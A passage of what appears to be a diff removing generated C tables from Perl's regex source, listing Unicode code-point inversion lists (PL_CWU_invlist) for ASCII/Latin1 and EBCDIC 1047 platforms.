- 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CWU_invlist[] = { /* for ASCII/Latin1 */ - 1215, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xDF, - 0xF7, - 0xF8, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWU_invlist[] = { /* for EBCDIC 1047 */ - 1229, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 